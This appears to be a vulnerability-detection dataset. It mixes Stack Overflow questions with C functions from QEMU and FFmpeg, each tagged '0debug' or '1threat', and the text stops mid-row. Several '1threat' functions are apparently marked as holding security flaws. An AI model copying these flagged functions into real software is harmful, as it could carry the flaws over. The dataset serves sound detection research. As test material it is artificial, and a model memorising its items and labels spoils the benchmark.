problem
stringlengths
26
131k
labels
class label
2 classes
What are enum Flags in TypeScript? : <p>I'm learning TypeScript using <a href="https://basarat.gitbooks.io/typescript/content/docs/enums.html" rel="noreferrer">this ebook</a> as a reference. I've checked the <a href="https://www.typescriptlang.org/docs/handbook/enums.html" rel="noreferrer">TypeScript Official Documentation</a> but I don't find information about enum flags.</p>
0debug
static av_cold int init_buffers(SANMVideoContext *ctx) { av_fast_padded_malloc(&ctx->frm0, &ctx->frm0_size, ctx->buf_size); av_fast_padded_malloc(&ctx->frm1, &ctx->frm1_size, ctx->buf_size); av_fast_padded_malloc(&ctx->frm2, &ctx->frm2_size, ctx->buf_size); if (!ctx->version) av_fast_padded_malloc(&ctx->stored_frame, &ctx->stored_frame_size, ctx->buf_size); if (!ctx->frm0 || !ctx->frm1 || !ctx->frm2 || (!ctx->stored_frame && !ctx->version)) { destroy_buffers(ctx); return AVERROR(ENOMEM); } return 0; }
1threat
Amazon Redshift Grants - New table can't be accessed even though user has grants to all tables in schema : <p>I have a bit of a funny situation in Amazon Redshift where I have a user X who has grant select on all tables in schema public, but once a new table is created, this grant doesn't seem to apply to the new table. Is this normal behaviour? If yes, how does one deal with it such that the schema level grants are maintained. Thank you.</p>
0debug
static void cqueue_free(cqueue *q) { av_free(q->elements); av_free(q); }
1threat
Grant drop permission on storedprocedure to user : How do I Grant drop permission of storeprocedure in sql server to user via script. I tried the following but it does not work use XpressFeed_Dev GRANT DROP ON procedure::getPartyDuns TO "INT\svc-w-corerefdata-de"; use XpressFeed_Dev ALTER AUTHORIZATION ON [getPartyDuns] TO "INT\svc-w-corerefdata-de";
0debug
static void gen_compute_eflags_p(DisasContext *s, TCGv reg) { gen_compute_eflags(s); tcg_gen_shri_tl(reg, cpu_cc_src, 2); tcg_gen_andi_tl(reg, reg, 1); }
1threat
returning numpy arrays via pybind11 : <p>I have a C++ function computing a large tensor which I would like to return to Python as a NumPy array via <a href="https://github.com/pybind/pybind11" rel="noreferrer">pybind11</a>. </p> <p>From the documentation of pybind11, it seems like using <a href="http://en.cppreference.com/w/cpp/memory/unique_ptr" rel="noreferrer">STL unique_ptr </a> is desirable. In the following example, the commented out version works, whereas the given one compiles but fails at runtime ("Unable to convert function return value to a Python type!"). </p> <p>Why is the smartpointer version failing? What is the canonical way to create and return a NumPy array?</p> <p>PS: Due to program structure and size of the array, it is desirable to not copy memory but create the array from a given pointer. Memory ownership should be taken by Python.</p> <pre class="lang-cpp prettyprint-override"><code>typedef typename py::array_t&lt;double, py::array::c_style | py::array::forcecast&gt; py_cdarray_t; // py_cd_array_t _test() std::unique_ptr&lt;py_cdarray_t&gt; _test() { double * memory = new double[3]; memory[0] = 11; memory[1] = 12; memory[2] = 13; py::buffer_info bufinfo ( memory, // pointer to memory buffer sizeof(double), // size of underlying scalar type py::format_descriptor&lt;double&gt;::format(), // python struct-style format descriptor 1, // number of dimensions { 3 }, // buffer dimensions { sizeof(double) } // strides (in bytes) for each index ); //return py_cdarray_t(bufinfo); return std::unique_ptr&lt;py_cdarray_t&gt;( new py_cdarray_t(bufinfo) ); } </code></pre>
0debug
def float_to_tuple(test_str): res = tuple(map(float, test_str.split(', '))) return (res)
0debug
static void memcard_write(void *opaque, target_phys_addr_t addr, uint64_t value, unsigned size) { MilkymistMemcardState *s = opaque; trace_milkymist_memcard_memory_write(addr, value); addr >>= 2; switch (addr) { case R_PENDING: s->regs[R_PENDING] &= ~(value & (PENDING_CMD_RX | PENDING_DAT_RX)); update_pending_bits(s); break; case R_CMD: if (!s->enabled) { break; } if (s->ignore_next_cmd) { s->ignore_next_cmd = 0; break; } s->command[s->command_write_ptr] = value & 0xff; s->command_write_ptr = (s->command_write_ptr + 1) % 6; if (s->command_write_ptr == 0) { memcard_sd_command(s); } break; case R_DAT: if (!s->enabled) { break; } sd_write_data(s->card, (value >> 24) & 0xff); sd_write_data(s->card, (value >> 16) & 0xff); sd_write_data(s->card, (value >> 8) & 0xff); sd_write_data(s->card, value & 0xff); break; case R_ENABLE: s->regs[addr] = value; update_pending_bits(s); break; case R_CLK2XDIV: case R_START: s->regs[addr] = value; break; default: error_report("milkymist_memcard: write access to unknown register 0x" TARGET_FMT_plx, addr << 2); break; } }
1threat
Python: Check if dataframe column contain string type : <p>I want check if columns in a dataframe consists of strings so I can label them with numbers for machine learning purposes. Some columns consists of numbers, I dont want to change them. Columns example can be seen below:</p> <pre><code>TRAIN FEATURES Age Level 32.0 Silver 61.0 Silver 66.0 Silver 36.0 Gold 20.0 Silver 29.0 Silver 46.0 Silver 27.0 Silver </code></pre> <p>Thank you=)</p>
0debug
static int vtd_irte_get(IntelIOMMUState *iommu, uint16_t index, VTD_IRTE *entry) { dma_addr_t addr = 0x00; addr = iommu->intr_root + index * sizeof(*entry); if (dma_memory_read(&address_space_memory, addr, entry, sizeof(*entry))) { VTD_DPRINTF(GENERAL, "error: fail to access IR root at 0x%"PRIx64 " + %"PRIu16, iommu->intr_root, index); return -VTD_FR_IR_ROOT_INVAL; } if (!entry->present) { VTD_DPRINTF(GENERAL, "error: present flag not set in IRTE" " entry index %u value 0x%"PRIx64 " 0x%"PRIx64, index, le64_to_cpu(entry->data[1]), le64_to_cpu(entry->data[0])); return -VTD_FR_IR_ENTRY_P; } if (entry->__reserved_0 || entry->__reserved_1 || \ entry->__reserved_2) { VTD_DPRINTF(GENERAL, "error: IRTE entry index %"PRIu16 " reserved fields non-zero: 0x%"PRIx64 " 0x%"PRIx64, index, le64_to_cpu(entry->data[1]), le64_to_cpu(entry->data[0])); return -VTD_FR_IR_IRTE_RSVD; } return 0; }
1threat
SQl Query - how can I write this query : Spent a while on this still cant quite get it. I have some rows in a table like this: uuid, pos (R|S|N), number (1-10), account (string), xtype (string) A unique row is identified by uuid, pos, number I am trying to write a query that can find occurrences of: same uuid where account = x, pos = R, number = 1 account = x, pos = S, number = 1 no occurrences of pos N pos R has only a row with number 1, no other occurrences of pos R for this uuid Hope I have provided enough info, please let me know if you need any more.
0debug
Close a form from another form [Pascal] : Let's say I have two forms "Form1" and "Form2". Form1 contains two buttons, one that creates and displays Form2 and a button to close Form2. To create Form2 i use: Form2 := TForm2.Create (Self); Form2.Show; How do I close Form2 from Form1?
0debug
How to adjust width of the th as per the td width using css : <p>I have a table using <code>display:block</code> for <code>thead</code> and <code>tbody</code>. if the data in <code>&lt;td&gt;</code> increases, the <code>&lt;th&gt;</code> also needs to increase the width but now it won't works like that....Because of <code>display:block</code> ...How to fix this? any suggestions please!</p> <p>Here I have tried css:</p> <pre><code>table thead,table tbody { display: block; } table tbody { overflow-x: hidden; overflow-y: scroll; min-height: 90px; max-height: 300px; } td, th { width: auto; } </code></pre>
0debug
def check_isosceles(x,y,z): if x==y or y==z or z==x: return True else: return False
0debug
Html5 help needed, Can't fathom the inline and div elements : [Code screenshot][1] [Website screenshot][2] [1]: https://i.stack.imgur.com/6g0g4.png [2]: https://i.stack.imgur.com/KG0nW.png I'm trying to put the mailing list button to the right side of the address. I am just starting out and this has frustrated me for many days. I have been learning using the W3 school but can't quite work out how to move it. At first I was using divs but then learned more about the span element. I thought that would fix it but alas, I need help. Just to make sure I am understood, I am trying to have the mailing list button and input to the right hand of the Visit our warehouse text rather than have it below.
0debug
Woocommerce : Add to cart with custom meta data : Hi is there a way to add a custom meta data to a single cart product? <br/><br/> **Example:** **custom_price = 99.99**<br/> **custom_reference_meta = REF0019**<br/> <br/><br/> href=”http://yourdomain.com/?<b>add-to-cart</b>=25&<b>custom_price=</b>99.99&<b>custom_reference_meta=</b>REF0019″ <br/><br/><br/> I need to do this because I'm doing a adding product via **query string** can someone help me? <br/><br/> **Thank you very much in advance :D**
0debug
The lambda expression is unused : <p>While using Android's <code>Switch</code>, I was attaching a <code>setOnCheckedChangeListener</code> to it and got this warning </p> <blockquote> <p>The lambda expression is unused. If you mean a block, you can use 'run {...}'</p> </blockquote> <p>Here' the code snippet:</p> <pre><code>switchAction.setOnCheckedChangeListener({ _, isChecked -&gt; { preferences.userStatus = isChecked switchToggleVisibility(isChecked) if (isChecked) { fetchStats() getOrders() } else { releaseOrder() } } }) </code></pre> <p>Using <code>run</code> does fix this warning, but does anyone know the cause behind this? How is the lambda expression unused?</p>
0debug
void ff_mjpeg_encode_picture_header(AVCodecContext *avctx, PutBitContext *pb, ScanTable *intra_scantable, uint16_t intra_matrix[64]) { int chroma_h_shift, chroma_v_shift; const int lossless = avctx->codec_id != AV_CODEC_ID_MJPEG; int hsample[3], vsample[3]; av_pix_fmt_get_chroma_sub_sample(avctx->pix_fmt, &chroma_h_shift, &chroma_v_shift); if (avctx->codec->id == AV_CODEC_ID_LJPEG && avctx->pix_fmt == AV_PIX_FMT_BGR24) { vsample[0] = hsample[0] = vsample[1] = hsample[1] = vsample[2] = hsample[2] = 1; } else { vsample[0] = 2; vsample[1] = 2 >> chroma_v_shift; vsample[2] = 2 >> chroma_v_shift; hsample[0] = 2; hsample[1] = 2 >> chroma_h_shift; hsample[2] = 2 >> chroma_h_shift; } put_marker(pb, SOI); jpeg_put_comments(avctx, pb); jpeg_table_header(pb, intra_scantable, intra_matrix); switch (avctx->codec_id) { case AV_CODEC_ID_MJPEG: put_marker(pb, SOF0 ); break; case AV_CODEC_ID_LJPEG: put_marker(pb, SOF3 ); break; default: assert(0); } put_bits(pb, 16, 17); if (lossless && avctx->pix_fmt == AV_PIX_FMT_BGR24) put_bits(pb, 8, 9); else put_bits(pb, 8, 8); put_bits(pb, 16, avctx->height); put_bits(pb, 16, avctx->width); put_bits(pb, 8, 3); put_bits(pb, 8, 1); put_bits(pb, 4, hsample[0]); put_bits(pb, 4, vsample[0]); put_bits(pb, 8, 0); put_bits(pb, 8, 2); put_bits(pb, 4, hsample[1]); put_bits(pb, 4, vsample[1]); put_bits(pb, 8, 0); put_bits(pb, 8, 3); put_bits(pb, 4, hsample[2]); put_bits(pb, 4, vsample[2]); put_bits(pb, 8, 0); put_marker(pb, SOS); put_bits(pb, 16, 12); put_bits(pb, 8, 3); put_bits(pb, 8, 1); put_bits(pb, 4, 0); put_bits(pb, 4, 0); put_bits(pb, 8, 2); put_bits(pb, 4, 1); put_bits(pb, 4, lossless ? 0 : 1); put_bits(pb, 8, 3); put_bits(pb, 4, 1); put_bits(pb, 4, lossless ? 0 : 1); put_bits(pb, 8, lossless ? avctx->prediction_method + 1 : 0); switch (avctx->codec_id) { case AV_CODEC_ID_MJPEG: put_bits(pb, 8, 63); break; case AV_CODEC_ID_LJPEG: put_bits(pb, 8, 0); break; default: assert(0); } put_bits(pb, 8, 0); }
1threat
void tcg_func_start(TCGContext *s) { tcg_pool_reset(s); s->nb_temps = s->nb_globals; memset(s->free_temps, 0, sizeof(s->free_temps)); s->nb_labels = 0; s->current_frame_offset = s->frame_start; #ifdef CONFIG_DEBUG_TCG s->goto_tb_issue_mask = 0; #endif s->gen_op_buf[0].next = 1; s->gen_op_buf[0].prev = 0; s->gen_next_op_idx = 1; }
1threat
static void decode_mb(MadContext *t, int inter) { MpegEncContext *s = &t->s; int mv_map = 0; int mv_x, mv_y; int j; if (inter) { int v = decode210(&s->gb); if (v < 2) { mv_map = v ? get_bits(&s->gb, 6) : 63; mv_x = decode_motion(&s->gb); mv_y = decode_motion(&s->gb); } else { mv_map = 0; } } for (j=0; j<6; j++) { if (mv_map & (1<<j)) { int add = 2*decode_motion(&s->gb); if (t->last_frame.data[0]) comp_block(t, s->mb_x, s->mb_y, j, mv_x, mv_y, add); } else { s->dsp.clear_block(t->block); decode_block_intra(t, t->block); idct_put(t, t->block, s->mb_x, s->mb_y, j); } } }
1threat
static void filter_edges_16bit(void *dst1, void *prev1, void *cur1, void *next1, int w, int prefs, int mrefs, int parity, int mode) { uint16_t *dst = dst1; uint16_t *prev = prev1; uint16_t *cur = cur1; uint16_t *next = next1; int x; uint16_t *prev2 = parity ? prev : cur ; uint16_t *next2 = parity ? cur : next; mrefs /= 2; prefs /= 2; FILTER(0, 3, 0) dst = (uint16_t*)dst1 + w - 3; prev = (uint16_t*)prev1 + w - 3; cur = (uint16_t*)cur1 + w - 3; next = (uint16_t*)next1 + w - 3; prev2 = (uint16_t*)(parity ? prev : cur); next2 = (uint16_t*)(parity ? cur : next); FILTER(w - 3, w, 0) }
1threat
How can i fix the terminated console : I am trying to do cipher game. Our teacher said it will be 2 mode. First mode will be normal mode which is one of the quote will be choosen randomly. Second mode is the test mode which is you will choose a quote. In the test mode i cant go further because it says terminated i dont know what is the problem. import java.util.ArrayList; import java.util.Random; import java.util.Scanner; public class main { public static void main(String[] args) { Scanner in = new Scanner(System.in); Random random = new Random(); char plainText[] = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'r', 'x', 'y', 'z'}; char cipherText[] = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'r', 'x', 'y', 'z'}; System.out.println("Please choose a mod: "); System.out.println("1.Normal Mode"); System.out.println("2.Test Mode"); int user = in.nextInt(); String[] strings = { "So many books so little time ", "Be the change that you wish to see in the world ", "No one can make you feel inferior without your consent", "Love for all hatred for none ", "Die with memories not dreams", "Aspire to inspire before we expire", "Whatever you do do it well", "What we think we become ", "Be so good they cant ignore you ", }; String randomString = strings[random.nextInt(strings.length)]; if (user==1) { System.out.println(randomString); for (int a=0;a<randomString.length();a++) { for (int i=0; i<plainText.length;i++) { if(plainText[i] == (randomString.charAt(a))) { System.out.print(cipherText[i]); } } } } else if(user==2) { System.out.println("Please choose one quote: "); String islemler = "1. So many books so little time\n" + "2. Be the change that you wish to see in the world\n" + "3. No one can make you feel inferior without your consent\n" + "4. Love for all hatred for none\n" + "5. Die with memories not dreams\n" + "6. Aspire to inspire before we expire\n" + "7. Whatever you do do it well\n" + "8. What we think we become\n" + "9. Be so good they cant ignore you\n"; System.out.println(islemler); String islem = in.nextLine(); switch(islem) { case "1": System.out.println("So many books so little time"); case "2": System.out.println("Be the change that you wish to see in the world"); case "3": System.out.println(" No one can make you feel inferior without your consent"); case "4": System.out.println(" Love for all hatred for none"); case "5": System.out.println("Die with memories not dreams"); case "6": System.out.println("Aspire to inspire before we expire"); case "7": System.out.println("Whatever you do do it well"); case "8": System.out.println("What we think we become"); case "9": System.out.println(" Be so good they cant ignore you"); } } else { System.out.println("Please restart the game"); } } }
0debug
Find items, related to article by name : <p>I have an article (title, body) stored in mysql, and i have about 1M rows (name) stored in mysql and indexed with elasticsearch. How can i find rows, which names are found (100% match of name) in article title or body? Thanks for any suggetions.</p>
0debug
Debug both javascript and c# in ASP.NET Core MVC using VS Code : <p>Is there a way to set breakpoints and debug javascript and c# at the same time in VS Code (on macOS)?</p> <p>I have installed the <a href="https://code.visualstudio.com/blogs/2016/02/23/introducing-chrome-debugger-for-vs-code" rel="noreferrer">chrome debugger extension</a> and then created a new MVC app using <code>dotnet new mvc</code>. </p> <p>But when I launch the app breakpoint are only hit in the C# files, they stay grayed out in the js files (site.js) because no symbols have been loaded. </p> <p>These are my launch settings (the only thing I have modified is <code>osx</code> <code>command</code> because chrome is not my default browser on macOS):</p> <pre><code>"version": "0.2.0", "configurations": [ { "name": ".NET Core Launch (web)", "type": "coreclr", "request": "launch", "preLaunchTask": "build", // If you have changed target frameworks, make sure to update the program path. "program": "${workspaceRoot}/bin/Debug/netcoreapp1.1/Foo.PhotoSite.dll", "args": [], "cwd": "${workspaceRoot}", "stopAtEntry": false, "internalConsoleOptions": "openOnSessionStart", "launchBrowser": { "enabled": true, "args": "${auto-detect-url}", "windows": { "command": "cmd.exe", "args": "/C start ${auto-detect-url}" }, "osx": { "command": "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" }, "linux": { "command": "xdg-open" } }, "env": { "ASPNETCORE_ENVIRONMENT": "Development" }, "sourceFileMap": { "/Views": "${workspaceRoot}/Views" } </code></pre>
0debug
libstdc++.so.6: version `GLIBCXX_3.4.20' not found : <p>To upload the raw-reads > 2GB to SRA on Genebank, I installed aspera connect plug-in on ubuntu 16.04. But the plug-in did not pop up as indicated by the instruction on the genebank SRA portal. </p> <p>I got this error on the terminal as I initializing the plug-in locally (<code>~/.aspera/connect/bin/asperaconnect</code>):</p> <pre><code>lib/libstdc++.so.6: version `GLIBCXX_3.4.20' not found (required by /usr/lib/x86_64-linux-gnu/libproxy.so.1) Failed to load module: /usr/lib/x86_64-linux-gnu/gio/modules/libgiolibproxy.so </code></pre> <p>I followed some of the threads, created a link to <code>/usr/lib/libstdc++.so.6</code> <strong>But it did not address the problem, still showing the error message above.</strong> running <code>strings /usr/lib/libstdc++.so.6 | grep GLIBCXX</code> got this:</p> <pre><code>strings /usr/lib/x86_64-linux-gnu/libstdc++.so.6 | grep GLIBCXX GLIBCXX_3.4 GLIBCXX_3.4.1 GLIBCXX_3.4.2 GLIBCXX_3.4.3 GLIBCXX_3.4.4 GLIBCXX_3.4.5 GLIBCXX_3.4.6 GLIBCXX_3.4.7 GLIBCXX_3.4.8 GLIBCXX_3.4.9 GLIBCXX_3.4.10 GLIBCXX_3.4.11 GLIBCXX_3.4.12 GLIBCXX_3.4.13 GLIBCXX_3.4.14 GLIBCXX_3.4.15 GLIBCXX_3.4.16 GLIBCXX_3.4.17 GLIBCXX_3.4.18 GLIBCXX_3.4.19 GLIBCXX_3.4.20 GLIBCXX_3.4.21 GLIBCXX_3.4.22 GLIBCXX_3.4.23 GLIBCXX_DEBUG_MESSAGE_LENGTH </code></pre> <p><strong>GLIBCXX_3.4.20 is in the list</strong>. I don't know how to make the plug-in recognize that.</p> <p>Thank you, Xp</p>
0debug
creating a matching card game (javascript) : I want to create a matching card game and I have an issue in showing the images that suppose to be hidden. When I click on a card, the path of the image will show instead of the actual image. here is all the codes I have wrote: <!DOCTYPE html> <html> <head> <title></title> <meta charset="utf-8" /> <style type="text/css"> div#card_board { background: #ccc; border: #999 1px solid; width: 710px; height: 600px; padding: 24px; margin: 0px auto; } div#card_board > div { background: url(cardQtion.jpg) no-repeat; background-size: 100%; border: #000 1px solid; width: 114px; height: 132px; float: left; margin: 10px; padding: 20px; font-size: 64px; cursor: pointer; text-align: center; } </style> <script> var cardArray = new Array(); cardArray[0] = new Image(); cardArray[0].src = 'cardA.jpg'; cardArray[1] = new Image(); cardArray[1].src = 'cardA.jpg'; cardArray[2] = new Image(); cardArray[2].src = 'cardB.jpg'; cardArray[3] = new Image(); cardArray[3].src = 'cardB.jpg'; cardArray[4] = new Image(); cardArray[4].src = 'cardC.jpg'; cardArray[5] = new Image(); cardArray[5].src = 'cardC.jpg'; cardArray[6] = new Image(); cardArray[6].src = 'cardD.jpg'; cardArray[7] = new Image(); cardArray[7].src = 'cardD.jpg'; cardArray[8] = new Image(); cardArray[8].src = 'cardE.jpg'; cardArray[9] = new Image(); cardArray[9].src = 'cardE.jpg'; cardArray[10] = new Image(); cardArray[10].src = 'cardF.jpg'; cardArray[11] = new Image(); cardArray[11].src = 'cardF.jpg'; var cardVal = []; var cardIDs = []; var cardBackFace = 0; Array.prototype.cardMix = function () { var i = this.length, j, temp; while (--i > 0) { j = Math.floor(Math.random() * (i + 1)); temp = this[j]; this[j] = this[i]; this[i] = temp; } } function newBoard() { cardBackFace = 0; var output = ""; cardArray.cardMix(); for (var i = 0; i < cardArray.length; i++) { output += '<div id="card_' + i + '" onclick="cardBackcard(this,\'' + cardArray[i].src + '\')"></div>'; } document.getElementById('card_board').innerHTML = output; } function cardBackcard(tile, val) { if (tile.innerHTML == "" && cardVal.length < 2) { tile.style.background = '#FFF'; tile.innerHTML = val; if (cardVal.length == 0) { cardVal.push(val); cardIDs.push(tile.id); } else if (cardVal.length == 1) { cardVal.push(val); cardIDs.push(tile.id); if (cardVal[0] == cardVal[1]) { cardBackFace += 2; cardVal = []; cardIDs = []; if (cardBackFace == cardArray.length) { alert("Board cleared... generating new board"); document.getElementById('card_board').innerHTML = ""; newBoard(); } } else { function card2Back() { var card_1 = document.getElementById(cardIDs[0]); var card_2 = document.getElementById(cardIDs[1]); card_1.style.background = 'url(cardQtion.jpg) no-repeat'; card_1.innerHTML = ""; card_2.style.background = 'url(cardQtion.jpg) no-repeat'; card_2.innerHTML = ""; cardVal = []; cardIDs = []; } setTimeout(card2Back, 700); } } } } </script> </head> <body> <div id="card_board"></div> <script>newBoard();</script> </body> </html>
0debug
Submitting forms without server side scripts : <p>I would like to be able to submit forms without server side scripts. Is this possible? I want it to be like prompt, where the user's input is stored in a variable. Is there a way to make it so whenever the user clicks the submit button, whatever they entered in the form is saved in a variable? Thanks!</p>
0debug
second largest digit in array : <p>We have to use an array as input and are supposed to output the second maximum element in it.</p> <p>For instance if our input is a[]=10 20 30 40 50 60 70, the program should return 60. I've heard it's a very basic problem but I am new to java programming and can't figure it out.</p> <p>Also, all elements are unique.</p> <p>I've tried this so far and don't know how to proceed:</p> <pre><code>import java.io.*; import java.util.*; import java.text.*; import java.math.*; import java.util.regex.*; public class Solution { public static int SecondLargest(int[] arr) { int maxValue = arr[0]; for (int i = 1; i &lt; arr.length; i++) { if (arr[i] &gt; maxValue) { maxValue = arr[i]; } } return maxValue; } public static void main(String[] args) { Scanner sc = new Scanner(System.in); int i = sc.nextInt(); } } </code></pre>
0debug
Not able to parse when String has dot : <p>I am trying to convert <code>String temp = 129.70</code> to number.</p> <p><strong>I tried:</strong></p> <pre><code>String decimalNumber= "-129.70"; System.out.println(Integer.parseInt(decimalNumber)); </code></pre> <p>But it is giving me exception <code>Exception in thread "main" java.lang.NumberFormatException: For input string: "-129.70"</code></p>
0debug
Wrong value gets stored in the list : <p>This should store [1,2,3,4,5] in the list but it stores [1,1,1,1,1] instead:</p> <pre><code>l=[0]*5 for x in range(5): y=1 l[x] = y y+=1 print (l) </code></pre>
0debug
Connect with .net core to SSAS : <p>I'm trying to connect Microsoft SQL Server Analysis server ( SSAS ) from .net core. At first I tried using <code>Microsoft.AnalysisServices.AdomdClient</code>, but it's not compatible with .net core.</p> <p>Is there a way to reach SSAS and fetch some data in any other way using .net core?</p>
0debug
Error: Program type already present: android.support.v4.accessibilityservice.AccessibilityServiceInfoCompat : <p>After upgrading to Android Studio 3.1, I started to get following error during build. Project uses multidex and DX is enabled by default as you would notice in the error. I tried to check dependency graph to understand what is going on but so far have no clue. Interestingly this only fails on my machine. I cleaned up everything, including reinstall etc but nothing worked. </p> <p>Anyone had the same issue and how did you solve it? Or any direction that I can take a look?</p> <pre><code>AGPBI: { "kind":"error", "text":"Program type already present: android.support.v4.accessibilityservice.AccessibilityServiceInfoCompat", "sources":[{}], "tool":"D8" } </code></pre> <p>This is the task that fails:</p> <pre><code>transformDexArchiveWithExternalLibsDexMergerForDebug </code></pre> <p>I checked similar issues and it seems random things fixes their problem, I'm not sure what is the real cause.</p>
0debug
void swri_resample_dsp_init(ResampleContext *c) { #define FNIDX(fmt) (AV_SAMPLE_FMT_##fmt - AV_SAMPLE_FMT_S16P) c->dsp.resample_one[FNIDX(S16P)] = (resample_one_fn) resample_one_int16; c->dsp.resample_one[FNIDX(S32P)] = (resample_one_fn) resample_one_int32; c->dsp.resample_one[FNIDX(FLTP)] = (resample_one_fn) resample_one_float; c->dsp.resample_one[FNIDX(DBLP)] = (resample_one_fn) resample_one_double; c->dsp.resample_common[FNIDX(S16P)] = (resample_fn) resample_common_int16; c->dsp.resample_common[FNIDX(S32P)] = (resample_fn) resample_common_int32; c->dsp.resample_common[FNIDX(FLTP)] = (resample_fn) resample_common_float; c->dsp.resample_common[FNIDX(DBLP)] = (resample_fn) resample_common_double; c->dsp.resample_linear[FNIDX(S16P)] = (resample_fn) resample_linear_int16; c->dsp.resample_linear[FNIDX(S32P)] = (resample_fn) resample_linear_int32; c->dsp.resample_linear[FNIDX(FLTP)] = (resample_fn) resample_linear_float; c->dsp.resample_linear[FNIDX(DBLP)] = (resample_fn) resample_linear_double; if (ARCH_X86) swri_resample_dsp_x86_init(c); }
1threat
stack_array in C++ Core Guidelines : <p>The C++ Core Guidelines mention something called a <a href="https://github.com/isocpp/CppCoreGuidelines/blob/master/CppCoreGuidelines.md#Res-stack"><code>stack_array</code></a>. Its usage looks like:</p> <pre><code>const int n = 7; int m = 9; void f() { std::array&lt;int, n&gt; a1; stack_array&lt;int&gt; a2(m); // A stack-allocated array. // The number of elements are determined // at construction and fixed thereafter. // ... } </code></pre> <p>But how can such a class be implemented? How can we dynamically determine the stack size at run time?</p>
0debug
Hide all li elements matching string : <p>I have a list that I want to hide all li elements containing a certain text. Lets say it looks like this: </p> <pre><code>&lt;ul&gt; &lt;li&gt;text historical&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li&gt;text historical&lt;/li&gt; &lt;li&gt;text&lt;/li&gt; &lt;li&gt;text historical&lt;/li&gt; &lt;/ul&gt; </code></pre> <p>So how can I hide all li elements containing "historical"? the list is dynamical and will change over time. </p>
0debug
void vnc_tls_client_cleanup(VncState *vs) { if (vs->tls.session) { gnutls_deinit(vs->tls.session); vs->tls.session = NULL; } g_free(vs->tls.dname); }
1threat
Nodejs request: HPE_INVALID_HEADER_TOKEN : <p>I receive <code>HPE_INVALID_HEADER_TOKEN</code> on a certain page using <code>request</code> module. From what I've found on Google, this is caused by an incorrect / malformed server response, however the latter is not under my control. Can I configure request to ignore invalid headers or just give me the whole raw response for processing?</p>
0debug
static inline int gen_intermediate_code_internal(TranslationBlock * tb, int spc, CPUSPARCState *env) { target_ulong pc_start, last_pc; uint16_t *gen_opc_end; DisasContext dc1, *dc = &dc1; int j, lj = -1; memset(dc, 0, sizeof(DisasContext)); dc->tb = tb; pc_start = tb->pc; dc->pc = pc_start; dc->npc = (target_ulong) tb->cs_base; #if defined(CONFIG_USER_ONLY) dc->mem_idx = 0; #else dc->mem_idx = ((env->psrs) != 0); #endif gen_opc_ptr = gen_opc_buf; gen_opc_end = gen_opc_buf + OPC_MAX_SIZE; gen_opparam_ptr = gen_opparam_buf; env->access_type = ACCESS_CODE; do { if (env->nb_breakpoints > 0) { for(j = 0; j < env->nb_breakpoints; j++) { if (env->breakpoints[j] == dc->pc) { gen_debug(dc, dc->pc); break; } } } if (spc) { if (loglevel > 0) fprintf(logfile, "Search PC...\n"); j = gen_opc_ptr - gen_opc_buf; if (lj < j) { lj++; while (lj < j) gen_opc_instr_start[lj++] = 0; gen_opc_pc[lj] = dc->pc; gen_opc_npc[lj] = dc->npc; gen_opc_instr_start[lj] = 1; } } last_pc = dc->pc; disas_sparc_insn(dc); if (dc->is_br) break; if (dc->pc != (last_pc + 4)) break; } while ((gen_opc_ptr < gen_opc_end) && (dc->pc - pc_start) < (TARGET_PAGE_SIZE - 32)); if (!dc->is_br) { if (dc->pc != DYNAMIC_PC && (dc->npc != DYNAMIC_PC && dc->npc != JUMP_PC)) { gen_op_branch((long)tb, dc->pc, dc->npc); } else { if (dc->pc != DYNAMIC_PC) gen_op_jmp_im(dc->pc); save_npc(dc); gen_op_movl_T0_0(); gen_op_exit_tb(); } } *gen_opc_ptr = INDEX_op_end; if (spc) { j = gen_opc_ptr - gen_opc_buf; lj++; while (lj <= j) gen_opc_instr_start[lj++] = 0; tb->size = 0; #if 0 if (loglevel > 0) { page_dump(logfile); } #endif } else { tb->size = dc->npc - pc_start; } #ifdef DEBUG_DISAS if (loglevel & CPU_LOG_TB_IN_ASM) { fprintf(logfile, "--------------\n"); fprintf(logfile, "IN: %s\n", lookup_symbol((uint8_t *)pc_start)); disas(logfile, (uint8_t *)pc_start, last_pc + 4 - pc_start, 0, 0); fprintf(logfile, "\n"); if (loglevel & CPU_LOG_TB_OP) { fprintf(logfile, "OP:\n"); dump_ops(gen_opc_buf, gen_opparam_buf); fprintf(logfile, "\n"); } } #endif env->access_type = ACCESS_DATA; return 0; }
1threat
void palette8torgb15(const uint8_t *src, uint8_t *dst, unsigned num_pixels, const uint8_t *palette) { unsigned i; for(i=0; i<num_pixels; i++) ((uint16_t *)dst)[i] = ((uint16_t *)palette)[ src[i] ]; }
1threat
Most Pythonic way to declare an abstract class property : <p>Assume you're writing an abstract class and one or more of its non-abstract class methods require the concrete class to have a specific class attribute; e.g., if instances of each concrete class can be constructed by matching against a different regular expression, you might want to give your ABC the following:</p> <pre><code>@classmethod def parse(cls, s): m = re.fullmatch(cls.PATTERN, s) if not m: raise ValueError(s) return cls(**m.groupdict()) </code></pre> <p>(Maybe this could be better implemented with a custom metaclass, but try to ignore that for the sake of the example.)</p> <p>Now, because overriding of abstract methods &amp; properties is checked at instance creation time, not subclass creation time, trying to use <code>abc.abstractmethod</code> to ensure concrete classes have <code>PATTERN</code> attributes won't work — but surely there should be <em>something</em> there to tell anyone looking at your code "I didn't forget to define <code>PATTERN</code> on the ABC; the concrete classes are supposed to define their own." The question is: Which <em>something</em> is the most Pythonic?</p> <ol> <li><p><strong>Pile of decorators</strong></p> <pre><code>@property @abc.abstractmethod def PATTERN(self): pass </code></pre> <p>(Assume Python 3.4 or higher, by the way.) This can be very misleading to readers, as it implies that <code>PATTERN</code> should be an instance property instead of a class attribute.</p></li> <li><p><strong>Tower of decorators</strong></p> <pre><code>@property @classmethod @abc.abstractmethod def PATTERN(cls): pass </code></pre> <p>This can be very confusing to readers, as <code>@property</code> and <code>@classmethod</code> normally can't be combined; they only work together here (for a given value of "work") because the method is ignored once it's overridden.</p></li> <li><p><strong>Dummy value</strong></p> <pre><code>PATTERN = '' </code></pre> <p>If a concrete class fails to define its own <code>PATTERN</code>, <code>parse</code> will only accept empty input. This option isn't widely applicable, as not all use cases will have an appropriate dummy 